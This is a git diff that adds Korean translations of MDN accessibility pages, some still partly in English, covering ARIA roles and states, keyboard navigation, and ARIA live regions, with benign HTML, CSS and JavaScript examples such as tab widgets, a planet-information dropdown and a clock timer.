+    &lt;a href="#ch1Panel"&gt;Chapter 1&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="ch2Tab"&gt;
+    &lt;a href="#ch2Panel"&gt;Chapter 2&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="quizTab"&gt;
+    &lt;a href="#quizPanel"&gt;Quiz&lt;/a&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;div&gt;
+  &lt;div id="ch1Panel"&gt;Chapter 1 content goes here&lt;/div&gt;
+  &lt;div id="ch2Panel"&gt;Chapter 2 content goes here&lt;/div&gt;
+  &lt;div id="quizPanel"&gt;Quiz content goes here&lt;/div&gt;
+&lt;/div&gt;</code></pre>
+
+<p><em>Example 2: 탭 위젯의 렌더링 화면. 유저는 비주얼로 확인 가능하지만, 보조기술과 같은 기계들은 읽지 못합니다.</em><br>
+ <img alt="Screenshot of the tabs widget" class="default internal" src="/@api/deki/files/4926/=Tabs_Widget.png"></p>
+
+<h2 id="ARIA">ARIA</h2>
+
+<p><strong style="line-height: 1.5;">Accessible Rich Internet Applications(</strong><a class="external" href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA</a>)는 W3C의 <a class="external" href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative</a>에서 제작하고, 스크린리더 같은 보조기기에서 필요한 정보들을 추가하는 방법을 제공합니다. ARIA는 마크업에서 특별한 속성을 추가하여 개발자들이 위젯의 디테일한 정보를 제공할 때 사용합니다. 동적 웹 어플리케이션에서 찾을 수 있는 데스크톱 스타일 콘트롤과 표준 HTML 태그 사이에 있는 차이를 채우기 위해, ARIA는 친숙한 UI 위젯의 동작 상태(state)와 역할(Role)에 대한 설명을 제공합니다.</p>
+
+<p>ARIA는 다른 타입의 속성 세개 roles, states, properties를 분할하여 정의하고 있습니다. Roles는 slider, menu bar, dialog와 같은 HTML4에서 사용하지 못하는 위젯을 설명합니다. Properties는 드래그가 가능하다는 것이나, 요소가 필요하다는 것이나, 팝업이 뜨는 것과 같은 위젯의 특징에 대해 설명합니다. State는 요소의 현재 상태에 대해 설명합니다. 이 정보는 보조기기에서 요소의 접근이 불가하거나, 숨겨져 있는 상태라는 것을 명시합니다.</p>
+
+<p><span style="line-height: 1.5;">ARIA attributes are designed to be interpreted automatically by the browser and translated to the operating system's native accessibility APIs. When ARIA is present, assistive technologies are able to recognize and interact with custom JavaScript controls in the same way that they do with desktop equivalents. This has the potential for providing a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications.</span></p>
+
+<p><em>Example 3: Markup for the tabs widget with ARIA attributes added.</em></p>
+
+<pre class="brush: html"><code>&lt;!-- Now *these* are Tabs! --&gt;</code>
+<code>&lt;!-- We've added role attributes to describe the tab list and each tab. --&gt;</code>
+<code>&lt;ol role="tablist"&gt;</code>
+<code>  &lt;li id="ch1Tab" <span style="color: #ff0000;">role="tab"</span>&gt;
+    &lt;a href="#ch1Panel"&gt;Chapter 1&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="ch2Tab" <span style="color: #ff0000;">role="tab"</span>&gt;
+    &lt;a href="#ch2Panel"&gt;Chapter 2&lt;/a&gt;
+  &lt;/li&gt;
+  &lt;li id="quizTab" <span style="color: #ff0000;">role="tab"</span>&gt;
+    &lt;a href="#quizPanel"&gt;Quiz&lt;/a&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;div&gt;
+  &lt;!-- Notice the role and aria-labelledby attributes we've added to describe these panels. --&gt;
+  &lt;div id="ch1Panel" <span style="color: #ff0000;">role=”tabpanel” aria-labelledby="ch1Tab"</span>&gt;Chapter 1 content goes here&lt;/div&gt;
+  &lt;div id="ch2Panel" <span style="color: #ff0000;">role=”tabpanel” aria-labelledby="ch2Tab"</span>&gt;Chapter 2 content goes here&lt;/div&gt;
+  &lt;div id="quizPanel" <span style="color: #ff0000;">role=”tabpanel” aria-labelledby="quizTab"</span>&gt;Quiz content goes here&lt;/div&gt;
+&lt;/div&gt;</code>
+</pre>
+
+<p>ARIA는 Firefox, Safari, Opera, Chrome 및 Internet Explorer를 포함한 모든 주요 브라우저의 최신 버전에서 지원됩니다. 오픈 소스 NVDA(NonVisual Desktop Access) 및 Orca 스크린 리더와 같은 많은 보조 기술도 ARIA를 지원합니다. 점차적으로 jQuery UI, YUI, Google Closure, Dojo Dijit과 같은 JavaScript 위젯 라이브러리에 ARIA 마크 업도 포함됩니다.</p>
+
+<h3 id="Presentational_changes">Presentational changes</h3>
+
+<p>Dynamic presentational changes include using CSS to change the appearance of content (such as a red border around invalid data, or changing the background colour of a checked checkbox), as well as showing or hiding content.</p>
+
+<h4 id="State_changes">State changes</h4>
+
+<p>ARIA provides attributes for declaring the current state of a UI widget. Examples include (but are certainly not limited to):</p>
+
+<ul>
+ <li><strong>aria-checked</strong>: indicates the state of a checkbox or radio button</li>
+ <li><strong>aria-disabled</strong>: indicates that an element is visible, but not editable or otherwise operable</li>
+ <li><strong>aria-grabbed</strong>: indicates the 'grabbed' state of an object in a drag-and-drop operation</li>
+</ul>
+
+<p>(For a full list of ARIA states, consult the <a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties" title="http://www.w3.org/TR/wai-aria/states_and_properties">ARIA list of states and properties</a>.)</p>
+
+<p>Developers should use ARIA states to indicate the state of UI widget elements and use CSS attribute selectors to alter the visual appearance based on the state changes (rather than using script to change a class name on the element).</p>
+
+<p>The Open Ajax Alliance website provides <a class="external" href="http://www.oaa-accessibility.org/example/25/" title="http://www.oaa-accessibility.org/example/25/">an example of CSS attribute selectors based on ARIA states</a>. The example shows a WYSIWYG editor interface with a dynamic menu system. Items currently selected in a menu, such as the font face, are visually distinguished from other items. The relevant parts of the example are explained below.</p>
+
+<p>In this example, the HTML for a menu has the form shown in Example 1a. Note how, on lines 7 and 13, the <strong>aria-checked</strong> property is used to declare the selection state of the menu items.</p>
+
+<p><em>Example 1a. HTML for a selectable menu (adapted from <a class="external" href="http://www.oaa-accessibility.org/example/25/" rel="freelink">http://www.oaa-accessibility.org/example/25/</a>).</em></p>
+
+<pre class="deki-transform">&lt;ul id="fontMenu" class="menu" role="menu" aria-hidden="true"&gt;
+  &lt;li id="sans-serif"
+      class="menu-item"
+      role="menuitemradio"
+      tabindex="-1"
+      aria-controls="st1"
+      aria-checked="true"&gt;Sans-serif&lt;/li&gt;
+  &lt;li id="serif"
+      class="menu-item"
+      role="menuitemradio"
+      tabindex="-1"
+      aria-controls="st1"
+      aria-checked="false"&gt;Serif&lt;/li&gt;
+  ...
+</pre>
+
+<p>The CSS that is used to alter the visual appearance of the selected item is shown in Example 1b. Note that there is no custom classname used, only the status of the <strong>aria-checked</strong> attribute on line 1.</p>
+
+<p><em>Example 1b. Attribute-based selector for indicating state <em>(from <a class="external" href="http://www.oaa-accessibility.org/example/25/" rel="freelink">http://www.oaa-accessibility.org/example/25/</a>).</em></em></p>
+
+<pre class="deki-transform">li[aria-checked="true"] {
+  font-weight: bold;
+  background-image: url('images/dot.png');
+  background-repeat: no-repeat;
+  background-position: 5px 10px;
+}
+</pre>
+
+<p>The JavaScript to update the <strong>aria-checked</strong> property has the form shown in Example 1c. Note that the script only updates the <strong>aria-checked</strong> attribute (lines 3 and 8); it does not need to also add or remove a custom classname.</p>
+
+<p><em>Example 1c. JavaScript to update the aria-checked attribute </em><em> <em>(based on <a class="external" href="http://www.oaa-accessibility.org/example/25/" rel="freelink">http://www.oaa-accessibility.org/example/25/</a>)</em></em><em><em><em>.</em></em></em></p>
+
+<pre class="deki-transform">var processMenuChoice = function(item) {
+  // 'check' the selected item
+  item.setAttribute('aria-checked', 'true');
+  // 'un-check' the other menu items
+  var sib = item.parentNode.firstChild;
+  for (; sib; sib = sib.nextSibling ) {
+    if ( sib.nodeType === 1 &amp;&amp; sib !== item ) {
+      sib.setAttribute('aria-checked', 'false');
+    }
+  }
+};
+</pre>
+
+<h4 id="Visibility_changes">Visibility changes</h4>
+
+<p>When content visibility is changed (i.e. an element is hidden or shown), developers should change the <strong>aria-hidden</strong> property value. The techniques described above should be used to declare CSS to visually hide an element using <code>display:none</code>.</p>
+
+<p>The Open Ajax Alliance website provides <a class="external" href="http://www.oaa-accessibility.org/example/39/" title="http://www.oaa-accessibility.org/example/39/">an example of a tooltip that uses <strong>aria-hidden</strong> to control the visibility of the tooltip</a>. The example shows a simple web form with tooltips containing instructions associated with the entry fields. The relevant parts of the example are explained below.</p>
+
+<p>In this example, the HTML for the tooltip has the form shown in Example 2a. Line 9 sets the <strong>aria-hidden</strong> state to <code>true</code>.</p>
+
+<p><em>Example 2a. HTML for a tooltip (adapted from <a class="external" href="http://www.oaa-accessibility.org/example/39/" rel="freelink">http://www.oaa-accessibility.org/example/39/</a>).</em></p>
+
+<pre class="deki-transform">&lt;div class="text"&gt;
+    &lt;label id="tp1-label" for="first"&gt;First Name:&lt;/label&gt;
+    &lt;input type="text" id="first" name="first" size="20"
+           aria-labelledby="tp1-label"
+           aria-describedby="tp1"
+           aria-required="false" /&gt;
+    &lt;div id="tp1" class="tooltip"
+         role="tooltip"
+         aria-hidden="true"&gt;Your first name is a optional&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>The CSS for this markup is shown in Example 2b. Note that there is no custom classname used, only the status of the <strong>aria-hidden</strong> attribute on line 1.</p>
+
+<p>Example 2b. <em>Attribute-based selector for indicating state <em>(from <a class="external" href="http://www.oaa-accessibility.org/example/39/" rel="freelink">http://www.oaa-accessibility.org/example/39/</a>).</em></em></p>
+
+<pre class="deki-transform">div.tooltip[aria-hidden="true"] {
+  display: none;
+}
+</pre>
+
+<p>The JavaScript to update the <strong>aria-hidden</strong> property has the form shown in Example 2c. Note that the script only updates the <strong>aria-</strong><strong>hidden</strong> attribute (line 2); it does not need to also add or remove a custom classname.</p>
+
+<p><em>Example 2c. JavaScript to update the aria-checked attribute </em><em> <em>(based on <a class="external" href="http://www.oaa-accessibility.org/example/39/" rel="freelink">http://www.oaa-accessibility.org/example/39/</a>)</em></em><em><em><em>.</em></em></em></p>
+
+<pre class="deki-transform">var showTip = function(el) {
+  el.setAttribute('aria-hidden', 'false');
+}</pre>
+
+<h3 id="Role_changes">Role changes</h3>
+
+<div class="note">Under construction</div>
+
+<p>ARIA allows developers to declare a semantic role for an element that otherwise offers incorrect or no semantics. For example, when an unordered list is used to create a menu, the {{ HTMLElement("ul") }} should be given a <strong>role</strong> of <code>menubar</code> and each {{ HTMLElement("li") }} should be given a <strong>role</strong> of <code>menuitem</code>.</p>
+
+<p>The <strong>role</strong> of an element should not change. Instead, remove the original element and replace it with an element with the new <strong>role</strong>.</p>
+
+<p>For example, consider an "inline edit" widget: a component that allows users to edit a piece of text in place, without switching contexts. This component has a "view" mode, in which the text is not editable, but is activatable, and an "edit" mode, in which the text can be edited. A developer might be tempted to implement the "view" mode using a read-only text  {{ HTMLElement("input") }} element and setting its ARIA <strong>role</strong> to <code>button</code>, then switching to "edit" mode by making the element writable and removing the <strong>role</strong> attribute in "edit" mode (since {{ HTMLElement("input") }} elements have their own role semantics).</p>
+
+<p>Do not do this. Instead, implement the "view" mode using a different element altogether, such as a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} with a <strong>role</strong> of <code>button</code>, and the "edit" mode using a text  {{ HTMLElement("input") }} element.</p>
+
+<h3 id="Asynchronous_content_changes">Asynchronous content changes</h3>
+
+<div class="note">Under construction. See also <a href="/en/ARIA/Live_Regions" title="Live Regions">Live Regions</a></div>
+
+<h2 id="Keyboard_navigation">Keyboard navigation</h2>
+
+<p>Often times developers overlook support for the keyboard when they create custom widgets. To be accessible to a variety of users, all features of a web application or widget should also be controllable with the keyboard, without requiring a mouse. In practice, this usually involves following the conventions supported by similar widgets on the desktop, taking full advantage of the Tab, Enter, Spacebar, and arrow keys.</p>
+
+<p>Traditionally, keyboard navigation on the web has been limited to the Tab key. A user presses Tab to focus each link, button, or form on the page in a linear order, using Shift-Tab to navigate backwards. It's a one-dimensional form of navigation—forward and back, one element at a time. On fairly dense pages, a keyboard-only user often has to press the Tab key dozens of times before they can access the section they need. Implementing desktop-style keyboard conventions on the web has the potential to significantly speed up navigation for many users.</p>
+
+<p>Here's a summary of how keyboard navigation should work in an ARIA-enabled web application:</p>
+
+<ul>
+ <li>The Tab key should provide focus to the widget as a whole. For example, tabbing to a menu bar should put focus on the menu's first elem</li>
+ <li>The arrow keys should allow for selection or navigation within the widget. For example, using the left and right arrow keys should move focus to the previous and next menu items</li>
+ <li>When the widget is not inside a form, both the Enter and Spacebar keys should select or activate the control</li>
+ <li>Within a form, the Spacebar key should select or activate the control, while the Enter key should submit the form's default action.</li>
+ <li>If in doubt, mimic the standard desktop behavior of the control you are creating.</li>
+</ul>
+
+<p>So, for the Tabs widget example above, the user should be able to navigate into and out of the widget's container (the &lt;ol&gt; in our markup) using the Tab and Shift-Tab keys. Once keyboard focus is inside the container, the arrow keys should allow the user to navigate between each tab (the &lt;li&gt; elements). From here, conventions vary from platform to platform. On Windows, the next tab should automatically be activated when the user presses the arrow keys. On Mac OS X, the user can press either Enter or the Spacebar to activate the next tab. An in-depth tutorial for creating <a href="/en/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a> describes how to implement this behavior with JavaScript.</p>
+
+<p>For more detail about desktop-style keyboard navigation conventions, a comprehensive <a class="external" href="http://dev.aol.com/dhtml_style_guide" title="http://dev.aol.com/dhtml_style_guide">DHTML style guide</a> is available. It provides an overview of how keyboard navigation should work for each type of widget supported by ARIA. The W3C also offers a helpful <a class="external" href="http://www.w3.org/WAI/PF/aria-practices/Overview.html" title="http://www.w3.org/WAI/PF/aria-practices/Overview.html">ARIA Best Practices</a> document that includes keyboard navigation and shortcut conventions for a variety of widgets. </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/ARIA" title="ARIA">ARIA</a></li>
+ <li><a href="/en/Accessibility/Web_applications_and_ARIA_FAQ" title="Web applications and ARIA FAQ">Web applications and ARIA FAQ</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/" title="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></li>
+ <li><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/Overview.html" title="http://www.w3.org/WAI/PF/aria-practices/Overview.html">WAI-ARIA Best Practices</a></li>
+ <li><a class="external" href="http://dev.aol.com/dhtml_style_guide" title="http://dev.aol.com/dhtml_style_guide">DHTML Style Guide</a></li>
+</ul>
diff --git a/files/ko/web/accessibility/aria/aria_live_regions/index.html b/files/ko/web/accessibility/aria/aria_live_regions/index.html
new file mode 100644
index 0000000000..c609e9698f
--- /dev/null
+++ b/files/ko/web/accessibility/aria/aria_live_regions/index.html
@@ -0,0 +1,255 @@
+---
+title: ARIA live regions
+slug: Web/Accessibility/ARIA/ARIA_Live_Regions
+translation_of: Web/Accessibility/ARIA/ARIA_Live_Regions
+---
+<p>JavaScript를 이용하면, 전체 페이지를 다시 로드할 필요 없이 페이지의 일부를 동적으로 변경하는 것이 가능합니다. 예를 들면, 검색 결과 리스트를 즉시 업데이트 하거나, 사용자 상호 작용이 필요 없는 경고 또는 알림을 표시합니다. 이러한 변경사항들은 일반적으로 페이지를 볼 수 있는 사용자에게 시각적으로 분명하게 보이지만, 보조과학기술 사용자들에겐 분명하지 않을 수 있습니다. ARIA live regions은 이 간격을 메우고, 보조과학기술에 의해 발표될 수 있는 방식으로 동적 컨텐츠 변화들을 프로그래밍 방식으로 노출할 수 있는 방법을 제공합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 보조과학기술은 live region 컨텐츠에 <em>동적인  </em>변화를 발표할 것입니다.</p>
+
+<p>Including an <code>aria-live</code> attribute or a specialized live region <code>role</code> (such as <code>role="alert"</code>) on the element you want to announce changes to works as long as you add the attribute before the changes occur — either in the original markup, or dynamically using JavaScript.</p>
+</div>
+
+<h2 id="간단한_live_regions"><span class="mw-headline" id="Live_Region_State">간단한 live regions</span></h2>
+
+<p>페이지를 재로드 없이 업데이트 되는 동적 컨텐츠는 일반적으로 영역 또는 위젯입니다. 대화형 컨텐츠가 아닌 단순 컨텐츠 변경은 live regions 으로 표시해야만 합니다. 아래는 관련 ARIA live region 속성에 관한 리스트와 설명입니다.</p>
+
+<ol>
+ <li><code><strong>aria-live</strong></code>: <code>aria-live=POLITENESS_SETTING</code>는 스크린 리더가 live regions에 대한 업데이트를 처리할때 우선 순위를 설정하는 데 사용되며, 가능한 세팅으로 <code>off</code>, <code>polite<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">, </span></font></code><code>assertive</code>가 있습니다. 기본 설정은 <code>off</code>입니다. 이 속성은 단연코 가장 중요합니다.</li>
+ <li>
+  <p class="comment"><code><strong>aria-controls</strong></code>: The <code>aria-controls=[IDLIST]</code> is used to associate a control with the regions that it controls. Regions are identified just like an <code>id</code> in a <code>div</code>, and multiple regions can be associated with a control using a space, e.g. <code>aria-controls="myRegionID1 myRegionsID2"</code>.</p>
+
+  <div class="warning">Not known if the aria-controls aspect of live regions is implemented in current ATs, or which. Needs research.</div>
+ </li>
+</ol>
+
+<p>Normally, only <code>aria-live="polite"</code> is used. Any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this attribute. The screen reader will speak changes whenever the user is idle.</p>
+
+<p>For regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with <code>aria-live="off"</code>.</p>
+
+<h3 id="Dropdown_box_updates_useful_onscreen_information">Dropdown box updates useful onscreen information</h3>
+
+<p>A website specializing in providing information about planets provides a dropdown box. When a planet is selected from the dropdown, a region on the page is updated with information about the selected planet.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;fieldset&gt;
+  &lt;legend&gt;Planet information&lt;/legend&gt;
+  &lt;label for="planetsSelect"&gt;Planet:&lt;/label&gt;
+  &lt;select id="planetsSelect" aria-controls="planetInfo"&gt;
+    &lt;option value=""&gt;Select a planet&amp;hellip;&lt;/option&gt;
+    &lt;option value="mercury"&gt;Mercury&lt;/option&gt;
+    &lt;option value="venus"&gt;Venus&lt;/option&gt;
+    &lt;option value="earth"&gt;Earth&lt;/option&gt;
+    &lt;option value="mars"&gt;Mars&lt;/option&gt;
+  &lt;/select&gt;
+  &lt;button id="renderPlanetInfoButton"&gt;Go&lt;/button&gt;
+&lt;/fieldset&gt;
+
+&lt;div role="region" id="planetInfo" aria-live="polite"&gt;
+  &lt;h2 id="planetTitle"&gt;No planet selected&lt;/h2&gt;
+  &lt;p id="planetDescription"&gt;Select a planet to view its description&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;p&gt;&lt;small&gt;Information courtesy &lt;a href="https://en.wikipedia.org/wiki/Solar_System#Inner_Solar_System"&gt;Wikipedia&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">const PLANETS_INFO = {
+  mercury: {
+    title: 'Mercury',
+    description: 'Mercury is the smallest and innermost planet in the Solar System. It is named after the Roman deity Mercury, the messenger to the gods.'
+  },
+
+  venus: {
+    title: "Venus",
+    description: 'Venus is the second planet from the Sun. It is named after the Roman goddess of love and beauty.'
+  },
+
+  earth: {
+    title: "Earth",
+    description: 'Earth is the third planet from the Sun and the only object in the Universe known to harbor life.'
+  },
+
+  mars: {
+    title: "Mars",
+    description: 'Mars is the fourth planet from the Sun and the second-smallest planet in the Solar System after Mercury. In English, Mars carries a name of the Roman god of war, and is often referred to as the "Red Planet".'
+  }
+};
+
+function renderPlanetInfo(planet) {
+  const planetTitle = document.querySelector('#planetTitle');
+  const planetDescription = document.querySelector('#planetDescription');
+
+  if (planet in PLANETS_INFO) {
+    planetTitle.textContent = PLANETS_INFO[planet].title;
+    planetDescription.textContent = PLANETS_INFO[planet].description;
+  } else {
+    planetTitle.textContent = 'No planet selected';
+    planetDescription.textContent = 'Select a planet to view its description';
+  }
+}
+
+const renderPlanetInfoButton = document.querySelector('#renderPlanetInfoButton');
+
+renderPlanetInfoButton.addEventListener('click', event =&gt; {
+  const planetsSelect = document.querySelector('#planetsSelect');
+  const selectedPlanet = planetsSelect.options[planetsSelect.selectedIndex].value;
+
+  renderPlanetInfo(selectedPlanet);
+});
+</pre>
+
+<p>{{EmbedLiveSample('Dropdown_box_updates_useful_onscreen_information', '', 350)}}</p>
+
+<p>As the user selects a new planet, the information in the live region will be announced. Because the live region has <code>aria-live="polite"</code>, the screen reader will wait until the user pauses before announcing the update. Thus, moving down in the list and selecting another planet will not announce updates in the live region. Updates in the live region will only be announced for the planet finally chosen.</p>
+
+<p>Here is a screenshot of VoiceOver on Mac announcing the update (via subtitles) to the live region:</p>
+
+<p><img alt="A screenshot of VoiceOver on Mac announcing the update to a live region. Subtitles are shown in the picture." src="https://mdn.mozillademos.org/files/15815/Web_Accessibility_ARIA_ARIA_Live_Regions.png" style="height: 573px; width: 800px;"></p>
+
+<h2 id="Preferring_specialized_live_region_roles">Preferring specialized live region roles</h2>
+
+<p>In the following well-known predefined cases it is better to use a specific provided "live region role":</p>
+
+<table style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col">Role</th>
+   <th scope="col">Description</th>
+   <th scope="col">Compatibility Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>log</td>
+   <td>Chat, error, game or other type of log</td>
+   <td>To maximize compatibility, add a redundant <code>aria-live="polite"</code> when using this role.</td>
+  </tr>
+  <tr>
+   <td>status</td>
+   <td>A status bar or area of the screen that provides an updated status of some kind. Screen reader users have a special command to read the current status.</td>
+   <td>To maximize compatibility, add a redundant <code>aria-live="polite"</code> when using this role.</td>
+  </tr>
+  <tr>
+   <td>alert</td>
+   <td>Error or warning message that flashes on the screen. Alerts are particularly important for client side validation notices to users. (TBD: link to ARIA form tutorial with aria info)</td>
+   <td>To maximize compatibility, some people recommend adding a redundant <code>aria-live="assertive"</code> when using this role. However, adding both <code>aria-live</code> and <code>role="alert"</code> causes double speaking issues in VoiceOver on iOS.</td>
+  </tr>
+  <tr>
+   <td>progressbar</td>
+   <td>A hybrid between a widget and a live region. Use this with aria-valuemin, aria-valuenow and aria-valuemax. (TBD: add more info here).</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>marquee</td>
+   <td>for text which scrolls, such as a stock ticker.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>timer</td>
+   <td>or any kind of timer or clock, such as a countdown timer or stopwatch readout.</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Advanced_live_regions">Advanced live regions</h2>
+
+<p>(TBD: more granular information on the support of the individual attributes with combinations of OS/Browser/AT).</p>
+
+<p>General support for Live Regions was added to JAWS on version 10.0. In Windows Eyes supports Live Regions since version 8.0 "for use outside of Browse Mode for Microsoft Internet Explorer and Mozilla Firefox". NVDA added some basic support for Live Regions for Mozilla Firefox back in 2008 and was improved in 2010 and 2014. In 2015, basic support was also added for Internet Explorer (MSHTML).</p>
+
+<p>The Paciello Group has some <a href="https://www.paciellogroup.com/blog/2014/03/screen-reader-support-aria-live-regions/">information about the state of the support of Live Regions </a>(2014). Paul J. Adam has researched<a href="http://pauljadam.com/demos/aria-atomic-relevant.html"> the support of Aria-Atomic and Aria-Relevant</a> in particular. </p>
+
+<ol>
+ <li><code><strong>aria-atomic</strong></code>: The <code>aria-atomic=BOOLEAN</code> is used to set whether or not the screen reader should always present the live region as a whole, even if only part of the region changes. The possible settings are: <code>false</code> or <code>true</code>. The default setting is <code>false</code>.</li>
+ <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute" title="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute"><strong>aria-relevant</strong></a></code>: The <code>aria-relevant=[LIST_OF_CHANGES]</code> is used to set what types of changes are relevant to a live region. The possible settings are one or more of: <code>additions</code>, <code>removals</code>, <code>text</code>, <code>all</code>. The default setting is: <code>additions text</code>.</li>
+ <li><code><strong>aria-labelledby</strong></code>: The <code>aria-labelledby=[IDLIST]</code> is used to associate a region with its labels, similar to aria-controls but instead associating labels to the region. and label identifiers are separated with a space.</li>
+ <li><code><strong>aria-describedby</strong></code>: The <code>aria-describedby=[IDLIST]</code> is used to associate a region with its descriptions, similar to aria-controls but instead associating descriptions to the region and description identifiers are separated with a space.</li>
+</ol>
+
+<h3 id="Advanced_use_case_Clock"><span class="mw-headline" id="Use_Case:_Clock">Advanced use case: Clock</span></h3>
+
+<p>As an illustration of <code>aria-atomic</code>, consider a site with a simple clock, showing hours and minutes. The clock is updated each minute, with the new remaining time simply overwriting the current content.</p>
+
+<pre class="notranslate">&lt;div id="clock" role="timer" aria-live="polite"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: js notranslate">/* basic JavaScript to update the clock */
+
+setInterval(function() {
+  var now = new Date();
+  document.getElementById('clock').innerHTML = "Time: " + now.getHours() + ":" + ("0"+now.getMinutes()).substr(-2);
+}, 60000);
+</pre>
+
+<p>The first time the function executes, the entirety of the string that is added will be announced. On subsequent calls, only the parts of the content that changed compared to the previous content will be announced. For instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users.</p>
+
+<p>One way around this would be to first clear the contents of the live region, and then inject the new content. However, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates.</p>
+
+<p><code>aria-atomic="true"</code> ensures that each time the live region is updated, the entirety of the content is announced in full (e.g. "Time: 17:34").</p>
+
+<pre class="notranslate">&lt;div id="clock" role="timer" aria-live="polite" aria-atomic="true"&gt;&lt;/div&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: As observed, setting/updating the innerHTML again would cause the whole text to be read again, whether or not you set aria-atomic="true", so the above Clock example does not work as expected.</p>
+</div>
+
+<p class="syntaxbox">A working example of a simple year control for better understanding:</p>
+
+<pre class="syntaxbox notranslate">&lt;div id="date-input"&gt;
+  &lt;label&gt;Year:
+    &lt;input type="text" id="year" value="1990" onblur="change(event)"/&gt;
+  &lt;/label&gt;
+&lt;/div&gt;
+
+&lt;div id="date-output" aria-live="polite"&gt;
+  The set year is:
+  &lt;span id="year-output"&gt;1990&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<p class="syntaxbox"></p>
+
+<pre class="syntaxbox notranslate">function change(event) {
+  var yearOut = document.getElementById("year-output");
+  switch (event.target.id) {
+    case "year":
+      yearOut.innerHTML = event.target.value;
+      break;
+   default:
+      return;
+  }
+};</pre>
+
+<p class="syntaxbox"></p>
+
+<p>Without <code>aria-atomic="true" </code>the screenreader announces only the changed value of year.</p>
+
+<p>With <code>aria-atomic="true"</code>, the screenreader announces "The set year is: <em>changedvalue</em>"</p>
+
+<h3 id="Advanced_use_case_Roster"><span class="mw-headline" id="Use_Case:_Roster">Advanced use case: Roster</span></h3>
+
+<p>A chat site would like to display a list of users currently logged in. Display a list of users where a user's log-in and log-out status will be reflected dynamically (without a page reload).</p>
+
+<pre class="notranslate">&lt;ul id="roster" aria-live="polite" aria-relevant="additions removals"&gt;
+	&lt;!-- use JavaScript to add remove users here--&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>Breakdown of ARIA live properties:</p>
+
+<ul>
+ <li><code>aria-live="polite"</code> indicates that the screen reader should wait until the user is idle before presenting updates to the user. This is the most commonly used value, as interrupting the user with "assertive" might interrupt their flow.</li>
+ <li><code>aria-atomic</code> is not set (<code>false</code> by default) so that only the added or removed users should be spoken and not the entire roster each time.</li>
+ <li><code>aria-relevant="additions removals"</code> ensures that both users added or removed to the roster will be spoken.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles">ARIA roles</a></li>
+</ul>
diff --git a/files/ko/web/accessibility/aria/aria_techniques/index.html b/files/ko/web/accessibility/aria/aria_techniques/index.html
new file mode 100644
index 0000000000..c628a228e1
--- /dev/null
+++ b/files/ko/web/accessibility/aria/aria_techniques/index.html
@@ -0,0 +1,213 @@
+---
+title: 'ARIA 사용하기: 규칙, 상태, 속성'
+slug: Web/Accessibility/ARIA/ARIA_Techniques
+tags:
+  - ARIA
+  - Accessibility
+  - Overview
+  - Reference
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques
+---
+<p class="summary">ARIA defines semantics that can be applied to elements, with these divided into <strong>roles</strong> (defining a type of user interface element) and <strong>states</strong> and <strong>properties</strong> that are supported by a role. Authors must assign an ARIA role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate ARIA semantics (via use of an appropriate HTML element). Addition of ARIA semantics only exposes extra information to a browser's accessibility API, and does not affect a page's DOM.</p>
+
+<h2 id="Roles">Roles</h2>
+
+<h3 id="Widget_roles">Widget roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/button_role" title="Using the button role">Button</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/checkbox_role" title="Using the checkbox role">Checkbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">Gridcell</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_link_role" title="Using the Link role">Link</a></li>
+ <li>Menuitem</li>
+ <li>Menuitemcheckbox</li>
+ <li>Menuitemradio</li>
+ <li>Option</li>
